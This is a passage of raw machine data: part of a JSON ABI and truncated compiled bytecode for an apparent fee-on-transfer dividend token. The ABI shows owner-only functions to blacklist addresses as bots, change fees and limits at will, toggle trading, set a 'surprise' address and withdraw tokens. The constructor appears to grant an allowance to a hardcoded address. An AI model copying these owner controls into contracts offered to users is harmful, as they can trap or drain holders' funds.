:"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processBlockDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processGasAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"progressRewardBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refreshFeeAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueLossToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueLossTokenAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reuseLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_holdRewardCondition","type":"uint256"},{"internalType":"uint256","name":"_processRewardCondition","type":"uint256"}],"name":"setDividendCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holdToken","type":"address"},{"internalType":"address","name":"_usdt","type":"address"}],"name":"setDividendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExcludes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingBuy","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidityBuy","type":"uint256"},{"internalType":"uint256","name":"_feeDividendBuy","type":"uint256"},{"internalType":"uint256","name":"_feeBurnBuy","type":"uint256"}],"name":"setFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingSell","type":"uint256"},{"internalType":"uint256","name":"_feeLiquiditySell","type":"uint256"},{"internalType":"uint256","name":"_feeDividendSell","type":"uint256"},{"internalType":"uint256","name":"_feeBurnSell","type":"uint256"}],"name":"setFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isLimited_","type":"bool"},{"internalType":"uint256","name":"LimitBuy_","type":"uint256"},{"internalType":"uint256","name":"LimitSell_","type":"uint256"},{"internalType":"uint256","name":"LimitHold_","type":"uint256"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessBlockDuration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessGasAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_kn","type":"uint256"},{"internalType":"uint256","name":"_kb","type":"uint256"},{"internalType":"address","name":"_surpAddress","type":"address"}],"name":"setSurprise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"s","type":"uint256"}],"name":"setTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"surpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSplit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604080518082018252600680825265322e3042544360d01b602080840182905284518086019095529184529083015290600362000050838262000eef565b5060046200005f828262000eef565b5050506200007c620000766200020d60201b60201c565b62000211565b600a80546001600160a01b03191633179055604080516315ab88c960e31b815290516d14bddab3e51a57cff87a500000009173652c44008304d30f61452bcb8a4418e3a4c337e1918291737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163ad5c4648916004808201926020929091908290030181865afa1580156200010d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000133919062000fbb565b905060006200014e83836200026360201b62001a7d1760201c565b6064601f819055600060208181556021829055602282905560239290925560248190556025819055602655909150620001a4906d14bddab3e51a57cff87a50000000908190819062001c436200042a821b17901c565b6001620001cd82600066038d7ea4c680008060146207a1206200043e60201b62001c521760201c565b620001e6600080336200047460201b620011011760201c565b6200020087878786856200050f60201b62001c881760201c565b505050505050506200106c565b3390565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015620002c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e6919062000fbb565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562000337573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035d919062000fbb565b600580546001600160a01b0319166001600160a01b039290921691821790556200038b9083908590620006e1565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af1158015620003e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000406919062000fed565b5062000416308460001962000851565b506005546001600160a01b03165b92915050565b62000439600184848462000979565b505050565b6200044a8686620009a3565b620004568484620009db565b6200046182620009f0565b6200046c81620009ff565b505050505050565b600a546001600160a01b03163314806200049857506009546001600160a01b031633145b620004e55760405162461bcd60e51b8152602060048201526024808201526000805160206200551a83398151915260448201526331ba37b960e11b60648201526084015b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b612710601d8190556007601e5562000540906200052e60648862001011565b6200053a919062001011565b62000a0e565b603280546001600160a01b0319166001600160a01b03861617905562000567838662000a80565b6200057f33600162000b4360201b620014471760201c565b6200059730600162000b4360201b620014471760201c565b620005af84600162000b4360201b620014471760201c565b620005c783600162000b4360201b620014471760201c565b80156200067357620005e630600162000b7860201b620016fe1760201c565b620005ff6000600162000b7860201b620016fe1760201c565b6200061760018062000b7860201b620016fe1760201c565b6200063161dead600162000b7860201b620016fe1760201c565b620006478462000bad60201b620016e61760201c565b6200065d8362000bad60201b620016e61760201c565b620006733362000bad60201b620016e61760201c565b6200067d62000bc5565b816040516200068c9062000dc4565b6001600160a01b039091168152602001604051809103906000f080158015620006b9573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062000734576200073462001034565b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106200076b576200076b62001034565b6001600160a01b03909216602092830291909101820152815162000796916007919084019062000dd2565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562000824573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200084a919062000fed565b5050505050565b6001600160a01b038316620008b55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004dc565b6001600160a01b038216620009185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004dc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200098362000c95565b600d805460ff191694151594909417909355600e91909155600f55601055565b620009ad62000c95565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b620009e562000c95565b601691909155601755565b620009fa62000c95565b601855565b62000a0962000c95565b601955565b600a546001600160a01b031633148062000a3257506009546001600160a01b031633145b62000a7b5760405162461bcd60e51b8152602060048201526024808201526000805160206200551a83398151915260448201526331ba37b960e11b6064820152608401620004dc565b602e55565b6001600160a01b03821662000ad85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004dc565b806002600082825462000aec91906200104a565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b62000b4d62000c95565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62000b8262000c95565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b62000bb762000c95565b62000bc28162000d04565b50565b602354601f5462000bd791906200104a565b60275560245460205462000bec91906200104a565b60285560255460215462000c0191906200104a565b60295560265460225462000c1691906200104a565b602a55602254602154602054601f5462000c3191906200104a565b62000c3d91906200104a565b62000c4991906200104a565b602b5560265460255460245460235462000c6491906200104a565b62000c7091906200104a565b62000c7c91906200104a565b602c819055602b5462000c9091906200104a565b602d55565b600a546001600160a01b031633148062000cb957506009546001600160a01b031633145b62000d025760405162461bcd60e51b8152602060048201526024808201526000805160206200551a83398151915260448201526331ba37b960e11b6064820152608401620004dc565b565b6001600160a01b0381163b1562000d185750565b6001600160a01b03811660009081526013602052604090205460ff161562000d3d5750565b6001600160a01b03811660009081526012602052604090205460ff1662000bc2576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b61014780620053d383390190565b82805482825590600052602060002090810192821562000e2a579160200282015b8281111562000e2a57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000df3565b5062000e3892915062000e3c565b5090565b5b8082111562000e38576000815560010162000e3d565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168062000e7e57607f821691505b60208210810362000e9f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043957600081815260208120601f850160051c8101602086101562000ece5750805b601f850160051c820191505b818110156200046c5782815560010162000eda565b81516001600160401b0381111562000f0b5762000f0b62000e53565b62000f238162000f1c845462000e69565b8462000ea5565b602080601f83116001811462000f5b576000841562000f425750858301515b600019600386901b1c1916600185901b1785556200046c565b600085815260208120601f198616915b8281101562000f8c5788860151825594840194600190910190840162000f6b565b508582101562000fab5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000fce57600080fd5b81516001600160a01b038116811462000fe657600080fd5b9392505050565b6000602082840312156200100057600080fd5b8151801515811462000fe657600080fd5b6000826200102f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b808201808211156200042457634e487b7160e01b600052601160045260246000fd5b614357806200107c6000396000f3fe608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b602d541562002268576200226862002bdb565b62002274